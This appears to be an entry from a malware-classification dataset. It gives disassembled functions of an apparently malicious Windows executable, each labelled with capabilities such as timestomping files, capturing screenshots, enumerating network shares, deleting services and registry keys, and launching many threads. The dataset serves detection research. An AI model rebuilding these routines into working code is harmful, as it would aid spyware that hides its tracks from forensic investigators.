joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408420
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x42f4f4
call fcn.00403be0
mov eax, dword [0x42f4f4]
add esp, 4
test eax, eax
je 0x408482
mov esi, eax
mov eax, dword [eax + 4]
test eax, eax
je 0x40844c
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, dword [esi]
test eax, eax
je 0x40846f
cmp dword [eax], 0
je 0x408460
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esi]
test eax, eax
je 0x40846f
push eax
call fcn.00414f60
add esp, 4
push esi
call fcn.00414f60
add esp, 4
mov dword [0x42f4f4], 0
mov esi, 0x42f4f4
call fcn.00403ce0
call fcn.0040a550
cmp eax, 2
je 0x4084f6
call fcn.00404870
cmp eax, 0x3c
jl 0x4084f1
call fcn.0040a100
call fcn.00404610
test al, al
je 0x4084f6
push 0x30
call fcn.004051a0
mov ecx, dword [0x42f218]
mov esi, dword [ecx + 0xc0]
push 0x6c
call fcn.004051a0
mov edx, dword [0x42f218]
mov edi, dword [edx + 0x1b0]
add esp, 8
push 7
push esi
push 0
push 1
call fcn.0040b2e0
mov ecx, edi
mov edx, eax
call fcn.00403d50
add esp, 0x10
jmp 0x4084f6
call fcn.00409370
call fcn.0040e010
call fcn.0040daa0
cmp byte [ebp + 8], 0
je 0x4085f8
push 4
call fcn.004051a0
mov eax, dword [0x42f218]
mov eax, dword [eax + 0x10]
push eax
call fcn.00415e1b
add esp, 8
mov dword [ebp + 8], eax
test eax, eax
jne 0x408530
mov dword [ebp + 8], 0x4275bc
push 0x13
call fcn.004051a0
mov ecx, dword [0x42f218]
mov eax, dword [ecx + 0x4c]
push 2
push eax
xor eax, eax
call fcn.004043d0
mov ebx, eax
mov eax, dword [ebp + 8]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408555
mov ecx, ebx
sub eax, edx
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x408563
sub ecx, esi
lea edi, [ecx + eax + 8]
push edi
call fcn.00414f9a
mov esi, eax
add esp, 4
test esi, esi
je 0x408570
mov edx, dword [ebp + 8]
push ebx
push edx
push 0x42a684
push esi
call fcn.0041512c
add esp, 0x10
test ebx, ebx
je 0x40859f
push ebx
call fcn.00414f60
add esp, 4
push 0x42757c
push esi
call fcn.00414000
mov edi, eax
add esp, 8
test edi, edi
je 0x4085ef
push 0x31
call fcn.004051a0
mov eax, dword [0x42f218]
mov ebx, dword [eax + 0xc4]
call fcn.0040a810
push eax
push ebx
push edi
call fcn.00414d60
push edi
call fcn.004147bb
add esp, 0x14
push 0
push 0
push 0
push esi
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push esi
call fcn.00414f60
add esp, 4
push 0
call fcn.00415639
int3
Function at 0x409370
Capabilities:
Delete registry value
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x42f46c]
test eax, eax
je 0x409390
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [0x42f46c], 0
push ebx
push esi
push edi
push 0x68
call fcn.004051a0
mov eax, dword [0x42f218]
mov ebx, dword [eax + 0x1a0]
add esp, 4
cmp dword [0x42f4b4], 0
jne 0x4093d6
call fcn.0040a550
test eax, eax
je 0x4093cc
dec eax
cmp eax, 1
ja 0x4093d6
mov dword [0x42f4b4], 0x80000002
jmp 0x4093d6
mov dword [0x42f4b4], 0x80000001
mov esi, dword [0x42f4b4]
call fcn.0040b320
lea ecx, [ebp - 4]
push ecx
push 0x2001f
push 0
push ebx
push esi
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov eax, dword [ebp - 4]
test eax, eax
je 0x40940f
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a100
Capabilities:
Delete registry key
Terminate thread

Disassembly:
mov eax, dword [0x42f470]
test eax, eax
je 0x40a11c
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [0x42f470], 0
push esi
push 0x6c
call fcn.004051a0
mov eax, dword [0x42f218]
mov esi, dword [eax + 0x1b0]
add esp, 4
cmp dword [0x42f4b4], 0
jne 0x40a16e
call fcn.0040a550
test eax, eax
je 0x40a164
dec eax
cmp eax, 1
ja 0x40a16e
mov dword [0x42f4b4], 0x80000002
mov ecx, dword [0x42f4b4]
push esi
push ecx
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
pop esi
ret
mov dword [0x42f4b4], 0x80000001
mov ecx, dword [0x42f4b4]
push esi
push ecx
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
pop esi
ret

Function at 0x40a440
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov eax, dword [0x42d024]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0xb
mov dword [ebp - 0xa0], eax
call fcn.004051a0
mov ecx, dword [0x42f218]
mov eax, dword [ecx + 0x2c]
push eax
call fcn.00415e1b
add esp, 8
mov ebx, eax
test eax, eax
jne 0x40a483
mov ebx, 0x4275bc
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a488
sub eax, edx
lea esi, [eax + 0x20]
push esi
call fcn.00414f9a
mov edi, eax
add esp, 4
test edi, edi
je 0x40a494
push 0x75
call fcn.004051a0
mov edx, dword [0x42f218]
mov eax, dword [edx + 0x1d4]
push ebx
push eax
push edi
call fcn.0041512c
mov ebx, dword [sym.imp.KERNEL32.dll_OpenFile]
add esp, 0x10
push 0
lea ecx, [ebp - 0x94]
push ecx
push edi
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x40a527
push 0
push 0
lea edx, [ebp - 0x9c]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xa0]
push 2
lea eax, [ebp - 0x94]
push eax
push ecx
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x40a527
lea edx, [ebp - 0x9c]
push edx
mov eax, edx
push eax
mov ecx, edx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.00414f60
mov ecx, dword [ebp - 8]
add esp, 4
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
Function at 0x40a660
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [0x42d024]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x42f4a0]
test eax, eax
jne 0x40a7f5
push esi
push fcn.0040a660
call fcn.00403be0
add esp, 4
cmp dword [0x42f4a0], 0
jne 0x40a7e5
push 0xc
call fcn.004051a0
mov eax, dword [0x42f218]
mov eax, dword [eax + 0x30]
push eax
call fcn.00415e1b
add esp, 8
mov edx, eax
test eax, eax
jne 0x40a6bb
mov edx, 0x4275bc
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a6c0
sub eax, esi
push edx
lea ecx, [ebp - 0x4c]
mov edx, eax
call fcn.00404d40
add esp, 4
push 0x17
call fcn.00414f9a
mov esi, eax
add esp, 4
test esi, esi
je 0x40a6d7
lea ecx, [ebp - 0x50]
push ecx
push esi
mov dword [ebp - 0x50], 0x10
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x40a6ff
mov byte [esi], al
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a704
sub eax, edx
push esi
lea ecx, [ebp - 0x28]
mov edx, eax
call fcn.00404d40
push esi
call fcn.00414f60
lea eax, [ebp - 0x4c]
add esp, 8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a727
lea ecx, [ebp - 0x28]
sub eax, edx
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x40a736
sub ecx, esi
lea esi, [ecx + eax + 0x20]
push esi
call fcn.00414f9a
add esp, 4
test eax, eax
je 0x40a743
mov dword [0x42f4a0], eax
call fcn.0040a550
sub eax, 0
je 0x40a7b9
dec eax
je 0x40a791
dec eax
jne 0x40a7e5
push 0x81
call fcn.004051a0
mov eax, dword [0x42f218]
mov ecx, dword [eax + 0x204]
lea edx, [ebp - 0x28]
push edx
mov edx, dword [0x42f4a0]
push ecx
push 0x4277c0
push edx
jmp 0x40a7dd
push 0x80
call fcn.004051a0
mov ecx, dword [0x42f218]
mov edx, dword [ecx + 0x200]
lea eax, [ebp - 0x28]
push eax
mov eax, dword [0x42f4a0]
push edx
push 0x4277c0
push eax
jmp 0x40a7dd
push 0x7f
call fcn.004051a0
mov edx, dword [0x42f218]
mov eax, dword [edx + 0x1fc]
lea ecx, [ebp - 0x4c]
push ecx
mov ecx, dword [0x42f4a0]
push eax
push 0x4277c0
push ecx
call fcn.0041512c
add esp, 0x14
mov esi, fcn.0040a660
call fcn.00403ce0
mov eax, dword [0x42f4a0]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
Function at 0x40b320
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x42f4b8]
sub esp, 0x24
test eax, eax
jne 0x40b4ef
push esi
push fcn.0040b320
call fcn.00403be0
add esp, 4
cmp dword [0x42f4b8], 0
jne 0x40b4df
push ebx
push edi
push 0xa3
call fcn.004051a0
mov eax, dword [0x42f218]
mov ecx, dword [eax + 0x28c]
push 0xa4
mov dword [ebp - 0x24], ecx
call fcn.004051a0
mov edx, dword [0x42f218]
mov eax, dword [edx + 0x290]
push 0xa5
mov dword [ebp - 0x20], eax
call fcn.004051a0
mov ecx, dword [0x42f218]
mov edx, dword [ecx + 0x294]
push 0xa6
mov dword [ebp - 0x1c], edx
call fcn.004051a0
mov eax, dword [0x42f218]
mov ecx, dword [eax + 0x298]
push 0xa7
mov dword [ebp - 0x18], ecx
call fcn.004051a0
mov edx, dword [0x42f218]
mov eax, dword [edx + 0x29c]
push 0xa8
mov dword [ebp - 0x14], eax
call fcn.004051a0
mov ecx, dword [0x42f218]
mov edx, dword [ecx + 0x2a0]
push 0xa9
mov dword [ebp - 0x10], edx
call fcn.004051a0
mov eax, dword [0x42f218]
mov ecx, dword [eax + 0x2a4]
push 0xaa
mov dword [ebp - 0xc], ecx
call fcn.004051a0
mov edx, dword [0x42f218]
mov eax, dword [edx + 0x2a8]
add esp, 0x20
mov dword [ebp - 8], eax
xor edi, edi
lea ebx, [ebx]
push 0x68
call fcn.004051a0
mov ecx, dword [0x42f218]
mov esi, dword [ecx + 0x1a0]
add esp, 4
cmp dword [0x42f4b4], 0
jne 0x40b464
call fcn.0040a550
test eax, eax
je 0x40b45a
dec eax
cmp eax, 1
ja 0x40b464
mov dword [0x42f4b4], 0x80000002
jmp 0x40b464
mov dword [0x42f4b4], 0x80000001
mov eax, dword [0x42f4b4]
lea edx, [ebp - 4]
push edx
push 0x20019
push 0
push esi
push eax
xor bl, bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov eax, dword [ebp - 4]
test eax, eax
je 0x40b4ad
mov ecx, dword [ebp + edi*4 - 0x24]
push 0
push 0
push 0
push 0
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40b49f
mov bl, 1
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test bl, bl
jne 0x40b4b9
inc edi
cmp edi, 8
jb 0x40b420
jmp 0x40b4c2
mov eax, dword [ebp + edi*4 - 0x24]
mov dword [0x42f4b8], eax
cmp dword [0x42f4b8], 0
pop edi
pop ebx
jne 0x40b4df
call fcn.00415395
and eax, 7
mov ecx, dword [ebp + eax*4 - 0x24]
mov dword [0x42f4b8], ecx
mov esi, fcn.0040b320
call fcn.00403ce0
mov eax, dword [0x42f4b8]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40b850
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x42d024]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, ecx
mov eax, edi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b870
sub eax, edx
lea esi, [eax + 0x17]
push ebx
lea ecx, [ecx]
push esi
call fcn.00414f9a
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x40b880
lea eax, [ebp - 0x2c]
push eax
push ebx
mov dword [ebp - 0x2c], 0x10
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x40b8a7
mov byte [ebx], al
mov eax, edi
mov edx, edi
jmp 0x40b8b0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b8b0
sub eax, edx
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x40b8c0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
mov eax, ebx
rep movsb byte es:[edi], byte [esi]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b8e0
sub eax, edx
push ebx
lea ecx, [ebp - 0x28]
mov edx, eax
call fcn.00404d40
push ebx
call fcn.00414f60
add esp, 8
lea eax, [ebp - 0x28]
lea edx, [eax + 1]
pop ebx
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b904
sub eax, edx
lea edi, [eax + 0x19]
push edi
call fcn.00414f9a
mov esi, eax
add esp, 4
test esi, esi
je 0x40b910
cmp byte [ebp + 8], 0
je 0x40b93d
push 0x84
call fcn.004051a0
mov edx, dword [0x42f218]
mov eax, dword [edx + 0x210]
jmp 0x40b953
push 0x83
call fcn.004051a0
mov edx, dword [0x42f218]
mov eax, dword [edx + 0x20c]
lea ecx, [ebp - 0x28]
push ecx
push eax
push 0x4277c0
push esi
call fcn.0041512c
mov ecx, dword [ebp - 4]
add esp, 0x14
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00413f0d
mov esp, ebp
pop ebp
ret

Function at 0x40bc70
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push esi
push 0
call fcn.004156be
add esp, 4
push eax
call fcn.00415383
add esp, 4
call fcn.0040a550
cmp eax, 2
jne 0x40bcd6
push 0xb7
call fcn.004051a0
mov eax, dword [0x42f218]
mov ecx, dword [eax + 0x2dc]
add esp, 4
lea edx, [esp + 8]
push edx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], 0x40be00
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
call fcn.00407060
call fcn.00407220
call fcn.00407b50
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x40b980
push 0
push 0
call esi
cmp byte [0x42f0d5], 0
jne 0x40bd18
push 0x32
call fcn.004156a1
add esp, 4
cmp byte [0x42f0d5], 0
je 0x40bd05
call fcn.00408020
call fcn.0040db80
mov eax, dword [ebp + 8]
push eax
call fcn.0040e810
add esp, 4
call fcn.00408600
test al, al
je 0x40bd43
push 0xffffffffffffffff
call fcn.004156a1
add esp, 4
jmp 0x40bd37
call fcn.00405250
push 0
push 0
push 0
push 0x405bb0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x405a60
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4063f0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x405f90
push 0
push 0
call esi
lea esp, [esp]
push 0xffffffffffffffff
call fcn.004156a1
add esp, 4
jmp 0x40bd90
Function at 0x40d760
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
push 0xdd
mov dword [ebp - 8], 1
call fcn.004051a0
mov eax, dword [0x42f218]
mov edi, dword [eax + 0x374]
push 0xdc
call fcn.004051a0
mov ecx, dword [0x42f218]
mov esi, dword [ecx + 0x370]
add esp, 8
cmp dword [0x42f4b4], 0
jne 0x40d7cb
call fcn.0040a550
test eax, eax
je 0x40d7c1
dec eax
cmp eax, 1
ja 0x40d7cb
mov dword [0x42f4b4], 0x80000002
jmp 0x40d7cb
mov dword [0x42f4b4], 0x80000001
mov eax, dword [0x42f4b4]
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0x2001f
push 0
push 0
push 0
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 4]
test eax, eax
je 0x40d80e
push 4
lea ecx, [ebp - 8]
push ecx
push 4
push 0
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40daa0
Capabilities:
Delete service
Set registry value

Disassembly:
call fcn.0040a550
cmp eax, 1
je 0x40dab8
call fcn.0040a550
cmp eax, 2
jne 0x40db59
push ebx
push esi
push edi
push 0xd5
call fcn.004051a0
mov eax, dword [0x42f218]
mov edi, dword [eax + 0x354]
add esp, 4
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x40db0b
push 0x10020
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x40db08
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
call ebx
push esi
call ebx
push 0xd6
call fcn.004051a0
mov ecx, dword [0x42f218]
mov edi, dword [ecx + 0x358]
add esp, 4
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x40db56
push 0x10020
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
je 0x40db53
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
call ebx
push esi
call ebx
pop edi
pop esi
pop ebx
call fcn.0040a550
test eax, eax
je 0x40db6c
call fcn.0040a550
cmp eax, 1
jne 0x40db71
jmp fcn.0040d820
ret
Function at 0x40e810
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x40bf50
push 0
push 0
call esi
push 0
push 0
push 0
push 0x40c590
push 0
push 0
call esi
push 0
push 0
push 0
push 0x40c780
push 0
push 0
call esi
mov eax, dword [ebp + 8]
push 0
push 0
push eax
push 0x40d4c0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x40d8e0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x40e910
push 0
push 0
call esi
push 0
push 0
push 0
push 0x40edd0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x40ef70
push 0
push 0
call esi
push 0
push 0
push 0
push 0x40f330
push 0
push 0
call esi
push 0
push 0
push 0
push 0x40f6e0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x40f9b0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x40ffa0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x411d40
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4137b0
push 0
push 0
call esi
pop esi
pop ebp
ret

Function at 0x40f7a0
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x42d024]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x24], eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
lea ecx, [ebp - 0x18]
mov esi, eax
push ecx
push esi
mov dword [ebp - 0x28], esi
call dword [sym.imp.USER32.dll_GetWindowRect]
mov edi, dword [ebp - 0x10]
mov ebx, dword [ebp - 0xc]
sub edi, dword [ebp - 0x18]
sub ebx, dword [ebp - 0x14]
push esi
call dword [sym.imp.USER32.dll_GetDC]
mov esi, eax
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push ebx
push edi
push esi
mov dword [ebp - 0x20], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov dword [ebp - 0x1c], eax
test esi, esi
je 0x40f871
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x40f871
test eax, eax
je 0x40f871
push eax
push ecx
call dword [sym.imp.GDI32.dll_SelectObject]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
push 0xcc0020
push edx
push eax
push esi
push ebx
mov ebx, dword [ebp - 0x20]
push edi
push 0
push 0
push ebx
call dword [sym.imp.GDI32.dll_BitBlt]
mov ecx, dword [ebp - 0x24]
push ecx
mov ecx, dword [ebp - 0x1c]
push 0x1e
call fcn.00401d80
mov edx, dword [ebp - 0x28]
add esp, 8
push esi
push edx
mov edi, eax
call dword [sym.imp.USER32.dll_ReleaseDC]
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
push ebx
call dword [sym.imp.GDI32.dll_DeleteDC]
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
Function at 0x411eb0
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
push ecx
push 0
push 0
push 2
mov dword [ebp - 0xc], 0
call dword [sym.imp.MPR.dll_WNetOpenEnumA]
test eax, eax
jne 0x412077
push edi
push 0x4000
push 0x40
mov dword [ebp - 0x10], 0x4000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
mov dword [ebp - 0x18], edi
test edi, edi
je 0x412076
push ebx
mov dword [ebp - 8], 0xffffffff
push esi
mov edx, dword [ebp - 0x10]
push edx
push 0
push edi
call fcn.00418380
mov edx, dword [ebp - 0xc]
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push edi
lea ecx, [ebp - 8]
push ecx
push edx
call dword [sym.imp.MPR.dll_WNetEnumResourceA]
test eax, eax
jne 0x412063
mov dword [ebp - 0x14], eax
cmp dword [ebp - 8], eax
jbe 0x411f04
lea esi, [edi + 0x14]
mov dword [ebp - 4], esi
lea esp, [esp]
mov eax, dword [esi]
test eax, eax
je 0x412036
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x411f50
sub eax, edx
je 0x412036
cmp dword [0x42f9bc], 0
je 0x412036
cmp dword [0x42f9c0], 0
je 0x412036
push 0x42f9bc
call fcn.00403be0
push 0x42f9c0
call fcn.00403be0
mov edi, dword [esi]
mov eax, edi
add esp, 8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x411f97
sub eax, edx
lea esi, [eax + 1]
push esi
call fcn.00414f9a
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x411fa3
mov ecx, edi
mov edx, ebx
mov al, byte [ecx]
mov byte [edx], al
inc ecx
inc edx
test al, al
jne 0x411fb6
mov eax, dword [0x42f9c4]
mov edi, dword [0x42f9bc]
inc eax
mov dword [0x42f9c4], eax
lea esi, [eax*4]
push esi
push edi
call fcn.0041507f
add esp, 8
test eax, eax
je 0x411fd8
mov edi, dword [0x42f9c0]
mov dword [0x42f9bc], eax
push esi
push edi
call fcn.0041507f
add esp, 8
test eax, eax
je 0x411ff1
mov ecx, dword [ebp - 4]
mov dword [0x42f9c0], eax
mov eax, dword [0x42f9bc]
mov dword [esi + eax - 4], ebx
mov edx, dword [ecx - 0xc]
mov eax, dword [0x42f9c0]
mov dword [esi + eax - 4], edx
mov esi, 0x42f9bc
call fcn.00403ce0
mov esi, 0x42f9c0
call fcn.00403ce0
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 0x18]
test byte [esi - 8], 2
je 0x412048
lea ecx, [esi - 0x14]
push ecx
call fcn.00411eb0
add esp, 4
mov eax, dword [ebp - 0x14]
inc eax
add esi, 0x20
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], esi
cmp eax, dword [ebp - 8]
jb 0x411f40
jmp 0x411f04
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.MPR.dll_WNetCloseEnum]
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x413f0d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42d024]
jne 0x413f17
repz ret
jmp fcn.00416f1f

Function at 0x41ee5c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x41ee83
call fcn.00417214
mov dword [eax], esi
call fcn.00417201
push 0x16
pop esi
mov dword [eax], esi
call fcn.004171af
mov eax, esi
jmp 0x41eed8
test dword [ebp + 0xc], 0xfffffff9
jne 0x41ee69
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41eeb0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00417227
pop ecx
call fcn.00417201
mov eax, dword [eax]
jmp 0x41eed8
test al, 0x10
jne 0x41eed6
test al, 1
je 0x41eed6
test byte [ebp + 0xc], 2
je 0x41eed6
call fcn.00417214
mov dword [eax], 5
call fcn.00417201
mov dword [eax], 0xd
jmp 0x41eea7
xor eax, eax
pop esi
pop ebp
ret
Function at 0x421915
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42d024]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0041bdc4
and dword [ebp - 0x14], 0
cmp dword [0x42ef0c], 0
mov dword [ebp - 0x18], eax
jne 0x4219c8
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x421a70
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x421a70
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x42ef0c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x42ef10], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x42ef14], eax
call edi
push eax
call esi
mov dword [0x42ef1c], eax
test eax, eax
je 0x4219c8
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42ef18], eax
mov eax, dword [0x42ef18]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x421a21
cmp dword [0x42ef1c], ecx
je 0x421a21
push eax
call esi
push dword [0x42ef1c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x421a21
test ebx, ebx
je 0x421a21
call edi
test eax, eax
je 0x421a18
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x421a18
test byte [ebp - 8], 1
jne 0x421a21
or dword [ebp + 0x10], 0x200000
jmp 0x421a54
mov eax, dword [0x42ef10]
cmp eax, dword [ebp - 0x18]
je 0x421a54
push eax
call esi
test eax, eax
je 0x421a54
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x421a54
mov eax, dword [0x42ef14]
cmp eax, dword [ebp - 0x18]
je 0x421a54
push eax
call esi
test eax, eax
je 0x421a54
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42ef0c]
call esi
test eax, eax
je 0x421a70
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x421a72
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00413f0d
leave
ret